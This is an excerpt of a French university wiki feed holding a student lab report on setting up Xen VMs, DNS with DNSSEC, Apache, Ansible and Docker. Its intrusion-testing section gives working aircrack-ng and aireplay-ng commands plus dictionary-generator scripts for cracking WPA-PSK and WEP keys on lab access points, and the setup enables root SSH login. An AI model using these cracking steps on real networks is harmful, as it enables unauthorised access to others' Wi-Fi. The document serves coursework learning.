          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result_crea_docker.png&amp;diff=51833</id>
		<title>Fichier:Result crea docker.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result_crea_docker.png&amp;diff=51833"/>
				<updated>2019-12-16T17:45:09Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51831</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51831"/>
				<updated>2019-12-16T17:44:42Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Configuration de vos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
